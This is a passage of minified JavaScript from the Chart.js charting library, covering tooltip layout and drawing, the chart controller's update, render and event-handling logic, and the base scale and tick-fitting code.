i=e.x,r=e.y,s=e.caretSize,o=e.caretPadding,d=e.cornerRadius,l=a.xAlign,u=a.yAlign,_=s+o,m=d+o;return"right"===l?i-=t.width:"center"===l&&((i-=t.width/2)+t.width>n.width&&(i=n.width-t.width),i<0&&(i=0)),"top"===u?r+=_:r-="bottom"===u?t.height+_:t.height/2,"center"===u?"left"===l?i+=_:"right"===l&&(i-=_):"left"===l?i-=m:"right"===l&&(i+=m),{x:i,y:r}}(c,y=function(e,t){var a=e._chart.ctx,n=2*t.yPadding,i=0,r=t.body,s=r.reduce((function(e,t){return e+t.before.length+t.lines.length+t.after.length}),0);s+=t.beforeBody.length+t.afterBody.length;var o=t.title.length,d=t.footer.length,l=t.titleFontSize,u=t.bodyFontSize,_=t.footerFontSize;n+=o*l,n+=o?(o-1)*t.titleSpacing:0,n+=o?t.titleMarginBottom:0,n+=s*u,n+=s?(s-1)*t.bodySpacing:0,n+=d?t.footerMarginTop:0,n+=d*_,n+=d?(d-1)*t.footerSpacing:0;var m=0,h=function(e){i=Math.max(i,a.measureText(e).width+m)};return a.font=R.fontString(l,t._titleFontStyle,t._titleFontFamily),R.each(t.title,h),a.font=R.fontString(u,t._bodyFontStyle,t._bodyFontFamily),R.each(t.beforeBody.concat(t.afterBody),h),m=t.displayColors?u+2:0,R.each(r,(function(e){R.each(e.before,h),R.each(e.lines,h),R.each(e.after,h)})),m=0,a.font=R.fontString(_,t._footerFontStyle,t._footerFontFamily),R.each(t.footer,h),{width:i+=2*t.xPadding,height:n}}(this,c),p=function(e,t){var a,n,i,r,s,o=e._model,d=e._chart,l=e._chart.chartArea,u="center",_="center";o.y<t.height?_="top":o.y>d.height-t.height&&(_="bottom");var m=(l.left+l.right)/2,h=(l.top+l.bottom)/2;"center"===_?(a=function(e){return e<=m},n=function(e){return e>m}):(a=function(e){return e<=t.width/2},n=function(e){return e>=d.width-t.width/2}),i=function(e){return e+t.width+o.caretSize+o.caretPadding>d.width},r=function(e){return e-t.width-o.caretSize-o.caretPadding<0},s=function(e){return e<=h?"top":"bottom"},a(o.x)?(u="left",i(o.x)&&(u="center",_=s(o.y))):n(o.x)&&(u="right",r(o.x)&&(u="center",_=s(o.y)));var c=e._options;return{xAlign:c.xAlign?c.xAlign:u,yAlign:c.yAlign?c.yAlign:_}}(this,y),_._chart)}else c.opacity=0;return c.xAlign=p.xAlign,c.yAlign=p.yAlign,c.x=g.x,c.y=g.y,c.width=y.width,c.height=y.height,c.caretX=L.x,c.caretY=L.y,_._model=c,e&&m.custom&&m.custom.call(_,c),_},drawCaret:function(e,t){var a=this._chart.ctx,n=this._view,i=this.getCaretPosition(e,t,n);a.lineTo(i.x1,i.y1),a.lineTo(i.x2,i.y2),a.lineTo(i.x3,i.y3)},getCaretPosition:function(e,t,a){var n,i,r,s,o,d,l=a.caretSize,u=a.cornerRadius,_=a.xAlign,m=a.yAlign,h=e.x,c=e.y,f=t.width,M=t.height;if("center"===m)o=c+M/2,"left"===_?(i=(n=h)-l,r=n,s=o+l,d=o-l):(i=(n=h+f)+l,r=n,s=o-l,d=o+l);else if("left"===_?(n=(i=h+u+l)-l,r=i+l):"right"===_?(n=(i=h+f-u-l)-l,r=i+l):(n=(i=a.caretX)-l,r=i+l),"top"===m)o=(s=c)-l,d=s;else{o=(s=c+M)+l,d=s;var p=r;r=n,n=p}return{x1:n,x2:i,x3:r,y1:s,y2:o,y3:d}},drawTitle:function(e,t,a){var n,i,r,s=t.title,o=s.length;if(o){var d=Ct(t.rtl,t.x,t.width);for(e.x=Rt(t,t._titleAlign),a.textAlign=d.textAlign(t._titleAlign),a.textBaseline="middle",n=t.titleFontSize,i=t.titleSpacing,a.fillStyle=t.titleFontColor,a.font=R.fontString(n,t._titleFontStyle,t._titleFontFamily),r=0;r<o;++r)a.fillText(s[r],d.x(e.x),e.y+n/2),e.y+=n+i,r+1===o&&(e.y+=t.titleMarginBottom-i)}},drawBody:function(e,t,a){var n,i,r,s,o,d,l,u,_=t.bodyFontSize,m=t.bodySpacing,h=t._bodyAlign,c=t.body,f=t.displayColors,M=0,p=f?Rt(t,"left"):0,g=Ct(t.rtl,t.x,t.width),y=function(t){a.fillText(t,g.x(e.x+M),e.y+_/2),e.y+=_+m},L=g.textAlign(h);for(a.textAlign=h,a.textBaseline="middle",a.font=R.fontString(_,t._bodyFontStyle,t._bodyFontFamily),e.x=Rt(t,L),a.fillStyle=t.bodyFontColor,R.each(t.beforeBody,y),M=f&&"right"!==L?"center"===h?_/2+1:_+2:0,o=0,l=c.length;o<l;++o){for(n=c[o],i=t.labelTextColors[o],r=t.labelColors[o],a.fillStyle=i,R.each(n.before,y),d=0,u=(s=n.lines).length;d<u;++d){if(f){var Y=g.x(p);a.fillStyle=t.legendColorBackground,a.fillRect(g.leftForLtr(Y,_),e.y,_,_),a.lineWidth=1,a.strokeStyle=r.borderColor,a.strokeRect(g.leftForLtr(Y,_),e.y,_,_),a.fillStyle=r.backgroundColor,a.fillRect(g.leftForLtr(g.xPlus(Y,1),_-2),e.y+1,_-2,_-2),a.fillStyle=i}y(s[d])}R.each(n.after,y)}M=0,R.each(t.afterBody,y),e.y-=m},drawFooter:function(e,t,a){var n,i,r=t.footer,s=r.length;if(s){var o=Ct(t.rtl,t.x,t.width);for(e.x=Rt(t,t._footerAlign),e.y+=t.footerMarginTop,a.textAlign=o.textAlign(t._footerAlign),a.textBaseline="middle",n=t.footerFontSize,a.fillStyle=t.footerFontColor,a.font=R.fontString(n,t._footerFontStyle,t._footerFontFamily),i=0;i<s;++i)a.fillText(r[i],o.x(e.x),e.y+n/2),e.y+=n+t.footerSpacing}},drawBackground:function(e,t,a,n){a.fillStyle=t.backgroundColor,a.strokeStyle=t.borderColor,a.lineWidth=t.borderWidth;var i=t.xAlign,r=t.yAlign,s=e.x,o=e.y,d=n.width,l=n.height,u=t.cornerRadius;a.beginPath(),a.moveTo(s+u,o),"top"===r&&this.drawCaret(e,n),a.lineTo(s+d-u,o),a.quadraticCurveTo(s+d,o,s+d,o+u),"center"===r&&"right"===i&&this.drawCaret(e,n),a.lineTo(s+d,o+l-u),a.quadraticCurveTo(s+d,o+l,s+d-u,o+l),"bottom"===r&&this.drawCaret(e,n),a.lineTo(s+u,o+l),a.quadraticCurveTo(s,o+l,s,o+l-u),"center"===r&&"left"===i&&this.drawCaret(e,n),a.lineTo(s,o+u),a.quadraticCurveTo(s,o,s+u,o),a.closePath(),a.fill(),t.borderWidth>0&&a.stroke()},draw:function(){var e=this._chart.ctx,t=this._view;if(0!==t.opacity){var a={width:t.width,height:t.height},n={x:t.x,y:t.y},i=Math.abs(t.opacity<.001)?0:t.opacity,r=t.title.length||t.beforeBody.length||t.body.length||t.afterBody.length||t.footer.length;this._options.enabled&&r&&(e.save(),e.globalAlpha=i,this.drawBackground(n,t,e,a),n.y+=t.yPadding,R.rtl.overrideTextDirection(e,t.textDirection),this.drawTitle(n,t,e),this.drawBody(n,t,e),this.drawFooter(n,t,e),R.rtl.restoreTextDirection(e,t.textDirection),e.restore())}},handleEvent:function(e){var t,a=this,n=a._options;return a._lastActive=a._lastActive||[],"mouseout"===e.type?a._active=[]:(a._active=a._chart.getElementsAtEventForMode(e,n.mode,n),n.reverse&&a._active.reverse()),(t=!R.arrayEquals(a._active,a._lastActive))&&(a._lastActive=a._active,(n.enabled||n.custom)&&(a._eventPosition={x:e.x,y:e.y},a.update(!0),a.pivot())),t}}),Jt=Et,Ut=Bt;Ut.positioners=Jt;var Gt=R.valueOrDefault;function qt(){return R.merge(Object.create(null),[].slice.call(arguments),{merger:function(e,t,a,n){if("xAxes"===e||"yAxes"===e){var i,r,s,o=a[e].length;for(t[e]||(t[e]=[]),i=0;i<o;++i)s=a[e][i],r=Gt(s.type,"xAxes"===e?"category":"linear"),i>=t[e].length&&t[e].push({}),!t[e][i].type||s.type&&s.type!==t[e][i].type?R.merge(t[e][i],[Ft.getScaleDefaults(r),s]):R.merge(t[e][i],s)}else R._merger(e,t,a,n)}})}function Kt(){return R.merge(Object.create(null),[].slice.call(arguments),{merger:function(e,t,a,n){var i=t[e]||Object.create(null),r=a[e];"scales"===e?t[e]=qt(i,r):"scale"===e?t[e]=R.merge(i,[Ft.getScaleDefaults(r.type),r]):R._merger(e,t,a,n)}})}function Zt(e){var t=e.options;R.each(e.scales,(function(t){ft.removeBox(e,t)})),t=Kt(C.global,C[e.config.type],t),e.options=e.config.options=t,e.ensureScalesHaveIDs(),e.buildOrUpdateScales(),e.tooltip._options=t.tooltips,e.tooltip.initialize()}function $t(e,t,a){var n,i=function(e){return e.id===n};do{n=t+a++}while(R.findIndex(e,i)>=0);return n}function Xt(e){return"top"===e||"bottom"===e}function Qt(e,t){return function(a,n){return a[e]===n[e]?a[t]-n[t]:a[e]-n[e]}}C._set("global",{elements:{},events:["mousemove","mouseout","click","touchstart","touchmove"],hover:{onHover:null,mode:"nearest",intersect:!0,animationDuration:400},onClick:null,maintainAspectRatio:!0,responsive:!0,responsiveAnimationDuration:0});var ea=function(e,t){return this.construct(e,t),this};R.extend(ea.prototype,{construct:function(e,t){var a=this;t=function(e){var t=(e=e||Object.create(null)).data=e.data||{};return t.datasets=t.datasets||[],t.labels=t.labels||[],e.options=Kt(C.global,C[e.type],e.options||{}),e}(t);var n=Ot.acquireContext(e,t),i=n&&n.canvas,r=i&&i.height,s=i&&i.width;a.id=R.uid(),a.ctx=n,a.canvas=i,a.config=t,a.width=s,a.height=r,a.aspectRatio=r?s/r:null,a.options=t.options,a._bufferedRender=!1,a._layers=[],a.chart=a,a.controller=a,ea.instances[a.id]=a,Object.defineProperty(a,"data",{get:function(){return a.config.data},set:function(e){a.config.data=e}}),n&&i?(a.initialize(),a.update()):console.error("Failed to create chart: can't acquire context from the given item")},initialize:function(){var e=this;return At.notify(e,"beforeInit"),R.retinaScale(e,e.options.devicePixelRatio),e.bindEvents(),e.options.responsive&&e.resize(!0),e.initToolTip(),At.notify(e,"afterInit"),e},clear:function(){return R.canvas.clear(this),this},stop:function(){return X.cancelAnimation(this),this},resize:function(e){var t=this,a=t.options,n=t.canvas,i=a.maintainAspectRatio&&t.aspectRatio||null,r=Math.max(0,Math.floor(R.getMaximumWidth(n))),s=Math.max(0,Math.floor(i?r/i:R.getMaximumHeight(n)));if((t.width!==r||t.height!==s)&&(n.width=t.width=r,n.height=t.height=s,n.style.width=r+"px",n.style.height=s+"px",R.retinaScale(t,a.devicePixelRatio),!e)){var o={width:r,height:s};At.notify(t,"resize",[o]),a.onResize&&a.onResize(t,o),t.stop(),t.update({duration:a.responsiveAnimationDuration})}},ensureScalesHaveIDs:function(){var e=this.options,t=e.scales||{},a=e.scale;R.each(t.xAxes,(function(e,a){e.id||(e.id=$t(t.xAxes,"x-axis-",a))})),R.each(t.yAxes,(function(e,a){e.id||(e.id=$t(t.yAxes,"y-axis-",a))})),a&&(a.id=a.id||"scale")},buildOrUpdateScales:function(){var e=this,t=e.options,a=e.scales||{},n=[],i=Object.keys(a).reduce((function(e,t){return e[t]=!1,e}),{});t.scales&&(n=n.concat((t.scales.xAxes||[]).map((function(e){return{options:e,dtype:"category",dposition:"bottom"}})),(t.scales.yAxes||[]).map((function(e){return{options:e,dtype:"linear",dposition:"left"}})))),t.scale&&n.push({options:t.scale,dtype:"radialLinear",isDefault:!0,dposition:"chartArea"}),R.each(n,(function(t){var n=t.options,r=n.id,s=Gt(n.type,t.dtype);Xt(n.position)!==Xt(t.dposition)&&(n.position=t.dposition),i[r]=!0;var o=null;if(r in a&&a[r].type===s)(o=a[r]).options=n,o.ctx=e.ctx,o.chart=e;else{var d=Ft.getScaleConstructor(s);if(!d)return;o=new d({id:r,type:s,options:n,ctx:e.ctx,chart:e}),a[o.id]=o}o.mergeTicksOptions(),t.isDefault&&(e.scale=o)})),R.each(i,(function(e,t){e||delete a[t]})),e.scales=a,Ft.addScalesToLayout(this)},buildOrUpdateControllers:function(){var e,t,a=this,n=[],i=a.data.datasets;for(e=0,t=i.length;e<t;e++){var r=i[e],s=a.getDatasetMeta(e),o=r.type||a.config.type;if(s.type&&s.type!==o&&(a.destroyDatasetMeta(e),s=a.getDatasetMeta(e)),s.type=o,s.order=r.order||0,s.index=e,s.controller)s.controller.updateIndex(e),s.controller.linkScales();else{var d=Xe[s.type];if(void 0===d)throw new Error('"'+s.type+'" is not a chart type.');s.controller=new d(a,e),n.push(s.controller)}}return n},resetElements:function(){var e=this;R.each(e.data.datasets,(function(t,a){e.getDatasetMeta(a).controller.reset()}),e)},reset:function(){this.resetElements(),this.tooltip.initialize()},update:function(e){var t,a,n=this;if(e&&"object"==typeof e||(e={duration:e,lazy:arguments[1]}),Zt(n),At._invalidate(n),!1!==At.notify(n,"beforeUpdate")){n.tooltip._data=n.data;var i=n.buildOrUpdateControllers();for(t=0,a=n.data.datasets.length;t<a;t++)n.getDatasetMeta(t).controller.buildOrUpdateElements();n.updateLayout(),n.options.animation&&n.options.animation.duration&&R.each(i,(function(e){e.reset()})),n.updateDatasets(),n.tooltip.initialize(),n.lastActive=[],At.notify(n,"afterUpdate"),n._layers.sort(Qt("z","_idx")),n._bufferedRender?n._bufferedRequest={duration:e.duration,easing:e.easing,lazy:e.lazy}:n.render(e)}},updateLayout:function(){var e=this;!1!==At.notify(e,"beforeLayout")&&(ft.update(this,this.width,this.height),e._layers=[],R.each(e.boxes,(function(t){t._configure&&t._configure(),e._layers.push.apply(e._layers,t._layers())}),e),e._layers.forEach((function(e,t){e._idx=t})),At.notify(e,"afterScaleUpdate"),At.notify(e,"afterLayout"))},updateDatasets:function(){if(!1!==At.notify(this,"beforeDatasetsUpdate")){for(var e=0,t=this.data.datasets.length;e<t;++e)this.updateDataset(e);At.notify(this,"afterDatasetsUpdate")}},updateDataset:function(e){var t=this.getDatasetMeta(e),a={meta:t,index:e};!1!==At.notify(this,"beforeDatasetUpdate",[a])&&(t.controller._update(),At.notify(this,"afterDatasetUpdate",[a]))},render:function(e){var t=this;e&&"object"==typeof e||(e={duration:e,lazy:arguments[1]});var a=t.options.animation,n=Gt(e.duration,a&&a.duration),i=e.lazy;if(!1!==At.notify(t,"beforeRender")){var r=function(e){At.notify(t,"afterRender"),R.callback(a&&a.onComplete,[e],t)};if(a&&n){var s=new $({numSteps:n/16.66,easing:e.easing||a.easing,render:function(e,t){var a=R.easing.effects[t.easing],n=t.currentStep,i=n/t.numSteps;e.draw(a(i),i,n)},onAnimationProgress:a.onProgress,onAnimationComplete:r});X.addAnimation(t,s,n,i)}else t.draw(),r(new $({numSteps:0,chart:t}));return t}},draw:function(e){var t,a,n=this;if(n.clear(),R.isNullOrUndef(e)&&(e=1),n.transition(e),!(n.width<=0||n.height<=0)&&!1!==At.notify(n,"beforeDraw",[e])){for(a=n._layers,t=0;t<a.length&&a[t].z<=0;++t)a[t].draw(n.chartArea);for(n.drawDatasets(e);t<a.length;++t)a[t].draw(n.chartArea);n._drawTooltip(e),At.notify(n,"afterDraw",[e])}},transition:function(e){for(var t=0,a=(this.data.datasets||[]).length;t<a;++t)this.isDatasetVisible(t)&&this.getDatasetMeta(t).controller.transition(e);this.tooltip.transition(e)},_getSortedDatasetMetas:function(e){var t,a,n=[];for(t=0,a=(this.data.datasets||[]).length;t<a;++t)e&&!this.isDatasetVisible(t)||n.push(this.getDatasetMeta(t));return n.sort(Qt("order","index")),n},_getSortedVisibleDatasetMetas:function(){return this._getSortedDatasetMetas(!0)},drawDatasets:function(e){var t,a;if(!1!==At.notify(this,"beforeDatasetsDraw",[e])){for(a=(t=this._getSortedVisibleDatasetMetas()).length-1;a>=0;--a)this.drawDataset(t[a],e);At.notify(this,"afterDatasetsDraw",[e])}},drawDataset:function(e,t){var a={meta:e,index:e.index,easingValue:t};!1!==At.notify(this,"beforeDatasetDraw",[a])&&(e.controller.draw(t),At.notify(this,"afterDatasetDraw",[a]))},_drawTooltip:function(e){var t=this.tooltip,a={tooltip:t,easingValue:e};!1!==At.notify(this,"beforeTooltipDraw",[a])&&(t.draw(),At.notify(this,"afterTooltipDraw",[a]))},getElementAtEvent:function(e){return rt.modes.single(this,e)},getElementsAtEvent:function(e){return rt.modes.label(this,e,{intersect:!0})},getElementsAtXAxis:function(e){return rt.modes["x-axis"](this,e,{intersect:!0})},getElementsAtEventForMode:function(e,t,a){var n=rt.modes[t];return"function"==typeof n?n(this,e,a):[]},getDatasetAtEvent:function(e){return rt.modes.dataset(this,e,{intersect:!0})},getDatasetMeta:function(e){var t=this.data.datasets[e];t._meta||(t._meta={});var a=t._meta[this.id];return a||(a=t._meta[this.id]={type:null,data:[],dataset:null,controller:null,hidden:null,xAxisID:null,yAxisID:null,order:t.order||0,index:e}),a},getVisibleDatasetCount:function(){for(var e=0,t=0,a=this.data.datasets.length;t<a;++t)this.isDatasetVisible(t)&&e++;return e},isDatasetVisible:function(e){var t=this.getDatasetMeta(e);return"boolean"==typeof t.hidden?!t.hidden:!this.data.datasets[e].hidden},generateLegend:function(){return this.options.legendCallback(this)},destroyDatasetMeta:function(e){var t=this.id,a=this.data.datasets[e],n=a._meta&&a._meta[t];n&&(n.controller.destroy(),delete a._meta[t])},destroy:function(){var e,t,a=this,n=a.canvas;for(a.stop(),e=0,t=a.data.datasets.length;e<t;++e)a.destroyDatasetMeta(e);n&&(a.unbindEvents(),R.canvas.clear(a),Ot.releaseContext(a.ctx),a.canvas=null,a.ctx=null),At.notify(a,"destroy"),delete ea.instances[a.id]},toBase64Image:function(){return this.canvas.toDataURL.apply(this.canvas,arguments)},initToolTip:function(){var e=this;e.tooltip=new Ut({_chart:e,_chartInstance:e,_data:e.data,_options:e.options.tooltips},e)},bindEvents:function(){var e=this,t=e._listeners={},a=function(){e.eventHandler.apply(e,arguments)};R.each(e.options.events,(function(n){Ot.addEventListener(e,n,a),t[n]=a})),e.options.responsive&&(a=function(){e.resize()},Ot.addEventListener(e,"resize",a),t.resize=a)},unbindEvents:function(){var e=this,t=e._listeners;t&&(delete e._listeners,R.each(t,(function(t,a){Ot.removeEventListener(e,a,t)})))},updateHoverStyle:function(e,t,a){var n,i,r,s=a?"set":"remove";for(i=0,r=e.length;i<r;++i)(n=e[i])&&this.getDatasetMeta(n._datasetIndex).controller[s+"HoverStyle"](n);"dataset"===t&&this.getDatasetMeta(e[0]._datasetIndex).controller["_"+s+"DatasetHoverStyle"]()},eventHandler:function(e){var t=this,a=t.tooltip;if(!1!==At.notify(t,"beforeEvent",[e])){t._bufferedRender=!0,t._bufferedRequest=null;var n=t.handleEvent(e);a&&(n=a._start?a.handleEvent(e):n|a.handleEvent(e)),At.notify(t,"afterEvent",[e]);var i=t._bufferedRequest;return i?t.render(i):n&&!t.animating&&(t.stop(),t.render({duration:t.options.hover.animationDuration,lazy:!0})),t._bufferedRender=!1,t._bufferedRequest=null,t}},handleEvent:function(e){var t,a=this,n=a.options||{},i=n.hover;return a.lastActive=a.lastActive||[],"mouseout"===e.type?a.active=[]:a.active=a.getElementsAtEventForMode(e,i.mode,i),R.callback(n.onHover||n.hover.onHover,[e.native,a.active],a),"mouseup"!==e.type&&"click"!==e.type||n.onClick&&n.onClick.call(a,e.native,a.active),a.lastActive.length&&a.updateHoverStyle(a.lastActive,i.mode,!1),a.active.length&&i.mode&&a.updateHoverStyle(a.active,i.mode,!0),t=!R.arrayEquals(a.active,a.lastActive),a.lastActive=a.active,t}}),ea.instances={};var ta=ea;function aa(){throw new Error("This method is not implemented: either no adapter can be found or an incomplete integration was provided.")}function na(e){this.options=e||{}}ea.Controller=ea,ea.types={},R.configMerge=Kt,R.scaleMerge=qt,R.extend(na.prototype,{formats:aa,parse:aa,format:aa,add:aa,diff:aa,startOf:aa,endOf:aa,_create:function(e){return e}}),na.override=function(e){R.extend(na.prototype,e)};var ia={_date:na},ra={formatters:{values:function(e){return R.isArray(e)?e:""+e},linear:function(e,t,a){var n=a.length>3?a[2]-a[1]:a[1]-a[0];Math.abs(n)>1&&e!==Math.floor(e)&&(n=e-Math.floor(e));var i=R.log10(Math.abs(n)),r="";if(0!==e)if(Math.max(Math.abs(a[0]),Math.abs(a[a.length-1]))<1e-4){var s=R.log10(Math.abs(e)),o=Math.floor(s)-Math.floor(i);o=Math.max(Math.min(o,20),0),r=e.toExponential(o)}else{var d=-1*Math.floor(i);d=Math.max(Math.min(d,20),0),r=e.toFixed(d)}else r="0";return r},logarithmic:function(e,t,a){var n=e/Math.pow(10,Math.floor(R.log10(e)));return 0===e?"0":1===n||2===n||5===n||0===t||t===a.length-1?e.toExponential():""}}},sa=R.isArray,oa=R.isNullOrUndef,da=R.valueOrDefault,la=R.valueAtIndexOrDefault;function ua(e,t,a){var n,i=e.getTicks().length,r=Math.min(t,i-1),s=e.getPixelForTick(r),o=e._startPixel,d=e._endPixel;if(!(a&&(n=1===i?Math.max(s-o,d-s):0===t?(e.getPixelForTick(1)-s)/2:(s-e.getPixelForTick(r-1))/2,(s+=r<t?n:-n)<o-1e-6||s>d+1e-6)))return s}function _a(e,t,a,n){var i,r,s,o,d,l,u,_,m,h,c,f,M,p=a.length,g=[],y=[],L=[],Y=0,v=0;for(i=0;i<p;++i){if(o=a[i].label,d=a[i].major?t.major:t.minor,e.font=l=d.string,u=n[l]=n[l]||{data:{},gc:[]},_=d.lineHeight,m=h=0,oa(o)||sa(o)){if(sa(o))for(r=0,s=o.length;r<s;++r)c=o[r],oa(c)||sa(c)||(m=R.measureText(e,u.data,u.gc,m,c),h+=_)}else m=R.measureText(e,u.data,u.gc,m,o),h=_;g.push(m),y.push(h),L.push(_/2),Y=Math.max(m,Y),v=Math.max(h,v)}function k(e){return{width:g[e]||0,height:y[e]||0,offset:L[e]||0}}return function(e,t){R.each(e,(function(e){var a,n=e.gc,i=n.length/2;if(i>t){for(a=0;a<i;++a)delete e.data[n[a]];n.splice(0,i)}}))}(n,p),f=g.indexOf(Y),M=y.indexOf(v),{first:k(0),last:k(p-1),widest:k(f),highest:k(M)}}function ma(e){return e.drawTicks?e.tickMarkLength:0}function ha(e){var t,a;return e.display?(t=R.options._parseFont(e),a=R.options.toPadding(e.padding),t.lineHeight+a.height):0}function ca(e,t){return R.extend(R.options._parseFont({fontFamily:da(t.fontFamily,e.fontFamily),fontSize:da(t.fontSize,e.fontSize),fontStyle:da(t.fontStyle,e.fontStyle),lineHeight:da(t.lineHeight,e.lineHeight)}),{color:R.options.resolve([t.fontColor,e.fontColor,C.global.defaultFontColor])})}function fa(e){var t=ca(e,e.minor);return{minor:t,major:e.major.enabled?ca(e,e.major):t}}function Ma(e){var t,a,n,i=[];for(a=0,n=e.length;a<n;++a)void 0!==(t=e[a])._index&&i.push(t);return i}function pa(e,t,a,n){var i,r,s,o,d=da(a,0),l=Math.min(da(n,e.length),e.length),u=0;for(t=Math.ceil(t),n&&(t=(i=n-a)/Math.floor(i/t)),o=d;o<0;)u++,o=Math.round(d+u*t);for(r=Math.max(d,0);r<l;r++)s=e[r],r===o?(s._index=r,u++,o=Math.round(d+u*t)):delete s.label}C._set("scale",{display:!0,position:"left",offset:!1,gridLines:{display:!0,color:"rgba(0,0,0,0.1)",lineWidth:1,drawBorder:!0,drawOnChartArea:!0,drawTicks:!0,tickMarkLength:10,zeroLineWidth:1,zeroLineColor:"rgba(0,0,0,0.25)",zeroLineBorderDash:[],zeroLineBorderDashOffset:0,offsetGridLines:!1,borderDash:[],borderDashOffset:0},scaleLabel:{display:!1,labelString:"",padding:{top:4,bottom:4}},ticks:{beginAtZero:!1,minRotation:0,maxRotation:50,mirror:!1,padding:0,reverse:!1,display:!0,autoSkip:!0,autoSkipPadding:0,labelOffset:0,callback:ra.formatters.values,minor:{},major:{}}});var ga=K.extend({zeroLineIndex:0,getPadding:function(){return{left:this.paddingLeft||0,top:this.paddingTop||0,right:this.paddingRight||0,bottom:this.paddingBottom||0}},getTicks:function(){return this._ticks},_getLabels:function(){var e=this.chart.data;return this.options.labels||(this.isHorizontal()?e.xLabels:e.yLabels)||e.labels||[]},mergeTicksOptions:function(){},beforeUpdate:function(){R.callback(this.options.beforeUpdate,[this])},update:function(e,t,a){var n,i,r,s,o,d=this,l=d.options.ticks,u=l.sampleSize;if(d.beforeUpdate(),d.maxWidth=e,d.maxHeight=t,d.margins=R.extend({left:0,right:0,top:0,bottom:0},a),d._ticks=null,d.ticks=null,d._labelSizes=null,d._maxLabelLines=0,d.longestLabelWidth=0,d.longestTextCache=d.longestTextCache||{},d._gridLineItems=null,d._labelItems=null,d.beforeSetDimensions(),d.setDimensions(),d.afterSetDimensions(),d.beforeDataLimits(),d.determineDataLimits(),d.afterDataLimits(),d.beforeBuildTicks(),s=d.buildTicks()||[],(!(s=d.afterBuildTicks(s)||s)||!s.length)&&d.ticks)for(s=[],n=0,i=d.ticks.length;n<i;++n)s.push({value:d.ticks[n],major:!1});return d._ticks=s,o=u<s.length,r=d._convertTicksToLabels(o?function(e,t){for(var a=[],n=e.length/t,i=0,r=e.length;i<r;i+=n)a.push(e[Math.floor(i)]);return a}(s,u):s),d._configure(),d.beforeCalculateTickRotation(),d.calculateTickRotation(),d.afterCalculateTickRotation(),d.beforeFit(),d.fit(),d.afterFit(),d._ticksToDraw=l.display&&(l.autoSkip||"auto"===l.source)?d._autoSkip(s):s,o&&(r=d._convertTicksToLabels(d._ticksToDraw)),d.ticks=r,d.afterUpdate(),d.minSize},_configure:function(){var e,t,a=this,n=a.options.ticks.reverse;a.isHorizontal()?(e=a.left,t=a.right):(e=a.top,t=a.bottom,n=!n),a._startPixel=e,a._endPixel=t,a._reversePixels=n,a._length=t-e},afterUpdate:function(){R.callback(this.options.afterUpdate,[this])},beforeSetDimensions:function(){R.callback(this.options.beforeSetDimensions,[this])},setDimensions:function(){var e=this;e.isHorizontal()?(e.width=e.maxWidth,e.left=0,e.right=e.width):(e.height=e.maxHeight,e.top=0,e.bottom=e.height),e.paddingLeft=0,e.paddingTop=0,e.paddingRight=0,e.paddingBottom=0},afterSetDimensions:function(){R.callback(this.options.afterSetDimensions,[this])},beforeDataLimits:function(){R.callback(this.options.beforeDataLimits,[this])},determineDataLimits:R.noop,afterDataLimits:function(){R.callback(this.options.afterDataLimits,[this])},beforeBuildTicks:function(){R.callback(this.options.beforeBuildTicks,[this])},buildTicks:R.noop,afterBuildTicks:function(e){var t=this;return sa(e)&&e.length?R.callback(t.options.afterBuildTicks,[t,e]):(t.ticks=R.callback(t.options.afterBuildTicks,[t,t.ticks])||t.ticks,e)},beforeTickToLabelConversion:function(){R.callback(this.options.beforeTickToLabelConversion,[this])},convertTicksToLabels:function(){var e=this.options.ticks;this.ticks=this.ticks.map(e.userCallback||e.callback,this)},afterTickToLabelConversion:function(){R.callback(this.options.afterTickToLabelConversion,[this])},beforeCalculateTickRotation:function(){R.callback(this.options.beforeCalculateTickRotation,[this])},calculateTickRotation:function(){var e,t,a,n,i,r,s,o=this,d=o.options,l=d.ticks,u=o.getTicks().length,_=l.minRotation||0,m=l.maxRotation,h=_;!o._isVisible()||!l.display||_>=m||u<=1||!o.isHorizontal()?o.labelRotation=_:(t=(e=o._getLabelSizes()).widest.width,a=e.highest.height-e.highest.offset,n=Math.min(o.maxWidth,o.chart.width-t),t+6>(i=d.offset?o.maxWidth/u:n/(u-1))&&(i=n/(u-(d.offset?.5:1)),r=o.maxHeight-ma(d.gridLines)-l.padding-ha(d.scaleLabel),s=Math.sqrt(t*t+a*a),h=R.toDegrees(Math.min(Math.asin(Math.min((e.highest.height+6)/i,1)),Math.asin(Math.min(r/s,1))-Math.asin(a/s))),h=Math.max(_,Math.min(m,h))),o.labelRotation=h)},afterCalculateTickRotation:function(){R.callback(this.options.afterCalculateTickRotation,[this])},beforeFit:function(){R.callback(this.options.beforeFit,[this])},fit:function(){var e=this,t=e.minSize={width:0,height:0},a=e.chart,n=e.options,i=n.ticks,r=n.scaleLabel,s=n.gridLines,o=e._isVisible(),d="bottom"===n.position,l=e.isHorizontal();if(l?t.width=e.maxWidth:o&&(t.width=ma(s)+ha(r)),l?o&&(t.height=ma(s)+ha(r)):t.height=e.maxHeight,i.display&&o){var u=fa(i),_=e._getLabelSizes(),m=_.first,h=_.last,c=_.widest,f=_.highest,M=.4*u.minor.lineHeight,p=i.padding;if(l){var g=0!==e.labelRotation,y=R.toRadians(e.labelRotation),L=Math.cos(y),Y=Math.sin(y),v=Y*c.width+L*(f.height-(g?f.offset:0))+(g?0:M);t.height=Math.min(e.maxHeight,t.height+v+p);var k,b,D=e.getPixelForTick(0)-e.left,w=e.right-e.getPixelForTick(e.getTicks().length-1);g?(k=d?L*m.width+Y*m.offset:Y*(m.height-m.offset),b=d?Y*(h.height-h.offset):L*h.width+Y*h.offset):(k=m.width/2,b=h.width/2),e.paddingLeft=Math.max((k-D)*e.width/(e.width-D),0)+3,e.paddingRight=Math.max((b-w)*e.width/(e.width-w),0)+3}else{var T=i.mirror?0:c.width+p+M;t.width=Math.min(e.maxWidth,t.width+T),e.paddingTop=m.height/2,e.paddingBottom=h.height/2}}e.handleMargins(),l?(e.width=e._length=a.width-e.margins.left-e.margins.right,e.height=t.height):(e.width=t.width,e.height=e._length=a.height-e.margins.top-e.margins.bottom)},handleMargins:function(){var e=this;e.margins&&(e.margins.left=Math.max(e.paddingLeft,e.margins.left),e.margins.top=Math.max(e.paddingTop,e.margins.top),e.margins.right=Math.max(e.paddingRight,e.margins.right),e.margins.bottom=Math.max(e.paddingBottom,e.margins.bottom))},afterFit:function(){R.callback(this.options.afterFit,[this])},isHorizontal:function(){var e=this.options.position;return"top"===e||"bottom"===e},isFullWidth:function(){return this.options.fullWidth},getRightValue:function(e){if(oa(e))return NaN;if(("number"==typeof e||e instanceof Number)&&!isFinite(e))return NaN;if(e)if(this.isHorizontal()){if(void 0!==e.x)return this.getRightValue(e.x)}else 